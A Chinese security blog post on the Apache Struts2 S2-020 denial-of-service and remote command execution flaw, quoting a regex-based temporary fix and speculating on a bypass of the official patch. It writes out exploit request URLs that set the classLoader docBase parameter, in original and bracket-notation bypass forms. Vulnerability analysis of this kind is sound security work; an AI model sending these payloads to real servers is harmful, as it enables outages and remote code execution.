Struts2 s2-020 DDOS和远程命令执行漏洞官方发布了补丁,昨天又有童鞋发现了绕过补丁的方式,关于该Struts2 s2-020 DDOS和远程命令执行漏洞的细节可以看一下wooyun zone Nebula发布的一篇文章,地址是:http://drops.wooyun.org/papers/1377
参考Nebula发的这篇文章和4月24号南京翰海源发布经过打码的绕过该漏洞的方式,原文:
http://blog.vulnhunt.com/index.php/2014/04/24/apache_struts2_0day/
文章结尾有完美修复此漏洞的方案,内容如下:
————————————————–
临时修复方案
翰海源提出较为严格的临时解决方案
原补丁
https://github.com/apache/struts/commit/aaf5a3010e3c11ae14e3d3c966a53ebab67146be
替换所有的 ^dojo\..*
改为 (.*\.|^)class.*,^dojo\..*
—————————————————
可以看出只是修改了补丁中的正则表达式,那么绕过方式可以猜测如下:
DDOS后果很严重,测试请谨慎,不要恶意测试别人的,以下仅供学习交流使用。
DDOS原利用方法:
http://www.nxadmin.com/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=不存在的路径
绕过方法:
http://www.nxadmin.com/s/example/HelloWorld.action?class['classLoader']['resources']['dirContext']['docBase']=不存在的路径
远程命令执行原利用方法:
http://www.nxadmin.com/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=映射主机共享目录
绕过方法:
http://www.nxadmin.com/s/example/HelloWorld.action?class['classLoader']['resources']['dirContext']['docBase']=映射主机共享目录
具体的完美修复方案可参考上文中南京翰海源给出的办法。
上文只是猜测打酱油,有兴趣的朋友可以去测试看看,远程命令执行的需要部署一个J2EE的应用目录,共享之后就可以利用POC进行远程命令执行了,可以参考wooyun zone的文章。
- 本文固定链接: http://www.nxadmin.com/web/1256.html
- 转载请注明: admin 于 阿德马Web安全 发表